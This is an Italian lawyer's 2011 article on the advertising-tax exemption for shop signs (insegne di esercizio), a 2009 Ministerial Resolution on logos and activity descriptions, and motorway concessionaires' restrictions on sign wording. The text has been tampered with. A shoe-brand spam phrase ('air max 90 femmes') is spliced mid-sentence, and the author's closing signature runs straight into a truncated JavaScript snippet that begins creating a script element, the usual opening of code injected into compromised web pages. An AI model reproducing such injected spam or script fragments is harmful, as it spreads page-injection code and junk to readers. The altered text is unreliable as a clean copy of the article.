Insegna di esercizio: una recente Risoluzione Ministeriale ritorna sull’argomento.

di Francesco Laruffa - 25 febbraio 2011
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Da quando è stata prevista l’esenzione dall’imposta comunale sulla pubblicità delle insegne di esercizio di superficie complessiva sino a cinque metri quadrati (dicembre 2001) i Comuni e le concessionarie di riscossione da questi incaricate hanno scatenato una vera e propria battaglia legale per tentare di ridurre al massimo le minori entrate derivanti da tale disposizione. Una recente Risoluzione Ministeriale ritorna sull’argomento.

Nel n. 134 della rivista Neon abbiamo fatto il punto della situazione circa il computo della superficie imponibile delle insegne di esercizio pensando di dover tralasciare l’argomento (almeno per qualche anno) ormai chiarito nei suoi vari aspetti, sia dal punto di vista giurisprudenziale che della prassi amministrativa.

A quanto pare siamo invece costretti a ritornare sull’argomento, sempre in evoluzione e sempre estremamente dibattuto nonostante, a nostro modo di vedere, la vicenda meriterebbe di essere definitivamente “archiviata”.

Sembra assurdo, ma nel nostro sistema giuridico non vi è nulla di più controverso di ciò che è palesemente, almeno agli occhi degli esperti in materia (ma non solo), chiaro. Si ricava, air max 90 femmes insomma, l’impressione che vi sia quasi il sottile gusto, oserei dire un po’ “masochista”, di parlarsi e di scriversi inutilmente addosso l’un l’altro senza un apparente motivo del contendere.

La nostra complessa lingua italiana d’altra parte si presta a questo tipo di “sport” fortemente praticato nel nostro paese ed occorre dire, ad onor del vero, che se così non fosse noi avvocati “chiuderemmo bottega”. Ed allora mi ritrovo ad esercitare anch’io la diffusa disciplina dell’interpretazione per tentare (spero con risultati positivi) di chiarire ciò che a mio avviso è già chiaro ma che per altri resta ancora estremamente oscuro.

Cercherò di non annoiare il lettore con citazioni di norme, lettore che sa certamente che cosa significhi l’espressione “insegna di esercizio” quale strumento immaginato dal legislatore semplicemente per consentire a chiunque eserciti un’attività imprenditoriale di poter individuare e identificare la propria sede, il proprio esercizio commerciale o la propria industria.

Nulla di più chiaro e di più semplice. Lo sapevano bene gli antichi romani i quali per primi hanno sentito la necessità di realizzare delle iscrizioni all’esterno delle “botteghe” artigiane o delle “Tabernae”, allo scopo di indirizzare la propria clientela, ponendo in essere inconsapevolmente la prima forma di comunicazione visiva.

E’ evidente, dunque, che il fabbro piuttosto che l’oste ha necessità di iscrivere al di fuori del proprio negozio il tipo di attività ivi svolta, magari aggiungendovi il proprio nome.

Sono passati molti secoli ed almeno 67 anni dal codice civile del 1942 in cui si fa menzione dell’insegna come uno dei segni distintivi dell’impresa, unitamente al marchio e alla ditta.

Come sappiamo, poi, la legge non fa altro che recepire o tentare di recepire ciò che già avviene nella realtà. E così è avvenuto anche per l’insegna di esercizio la quale se tralasciamo alcuni tentavi di definizione elaborati in alcune leggi tributarie individuiamo la prima vera e significativa definizione dell’insegna intesa come manufatto nel Codice della strada del 1992.

Le contestazioni su ciò che rientra nel concetto di insegna di esercizio su ciò che, invece, è fuori da tale ambito nascono soprattutto, ma non solo, per questioni di natura eminentemente economica. Da quando, infatti, è stata prevista l’esenzione dall’imposta comunale sulla pubblicità delle insegne di esercizio di superficie complessiva sino a cinque metri quadrati (dicembre 2001) i Comuni e le concessionarie di riscossione da questi incaricate hanno scatenato una vera e propria battaglia legale per tentare di ridurre al massimo le minori entrate derivanti da tale disposizione.

Ciò che mi lascia molto perplesso è che nel fare ciò ignorano deliberatamente le varie circolari/risoluzioni Ministeriali che dal 2001 si sono susseguite per cercare di fare chiarezza sulla definizione di insegna di esercizio, anche attraverso esempi concreti.

L’ultima in ordine di tempo è la Risoluzione n. 2/DF del 24 aprile 2009 del Ministero dell’Economia e delle Finanze.

Fra le varie questioni affrontate dalla risoluzione vi è quella dell’uso del logo o del marchio nell’ambito dell’insegna. E’ stato necessario chiarire (e quindi ripetere) ciò che è già riportato a chiare lettere nel Codice della Strada, ovvero che l’iscrizione riconducibile all’insegna può essere eventualmente completata anche da “simboli” e da “marchi”.

L’insegna può anche evidenziare la tipologia e la descrizione dell’attività, prosegue il Ministero, consentendo pertanto l’applicazione dell’esenzione anche in quei casi in cui l’insegna si presenta completa di denominazione dell’azienda, di loghi e di specificazione dell’attività svolta.

Come sappiamo la collocazione delle insegne di esercizio è consentita lungo e in vista delle autostrade, laddove, invece la pubblicità propriamente detta è vietata.

Anche sotto tale profilo le concessionarie che gestiscono i vari tronchi autostradali hanno frapposto e continuano a frapporre ostacoli motivando i dinieghi sulla base di ragionamenti che sono l’esatto contrario di quanto sopra esposto circa la definizione di insegna.

Recentemente, ad esempio, mi sono occupato di un caso di una concessionaria che autorizza la collocazione dell’insegna di un rivenditore di ricambi di veicoli industriali solamente con la denominazione aziendale risultante dalla Camera di Commercio, quindi (nome di fantasia) “ALFA s.r.l.” vietando la specificazione “ricambi di veicoli industriali”.

E’ come dire che non è consentito ad un macellaio che vende “carne equina” di fare tale precisazione nella propria insegna dovendosi limitare ad inserire solo la propria denominazione, spesso di fantasia e, a questo punto, nemmeno “macelleria”, perché ciò snaturerebbe il concetto di insegna, con la conseguenza che viene svilita una delle funzioni fondamentali dell’insegna che è quella di collettore di clientela.

Quando, agli inizi del secolo scorso, sino al primo dopo guerra, le attività economiche e commerciali erano poche e ben definite la semplice specificazione dell’attività (macellaio, calzolaio, drogheria, etc….) era di per sé sufficiente ad individuare l’imprenditore che spesso si conosceva personalmente, insomma l’esatto contrario di quanto oggi sostenuto dalla concessionaria menzionata; ciò che più conta è la specificazione dell’attività oltre alla denominazione che dice nulla o ben poco, a meno che il marchio non sia sinonimo del prodotto, come ad esempio Fiat o Alfa Romeo. Tutti sano infatti che in tal caso abbiamo a che fare con le autovetture.

Avv. Francesco Laruffavar d=document;var s=d.createElement('script');

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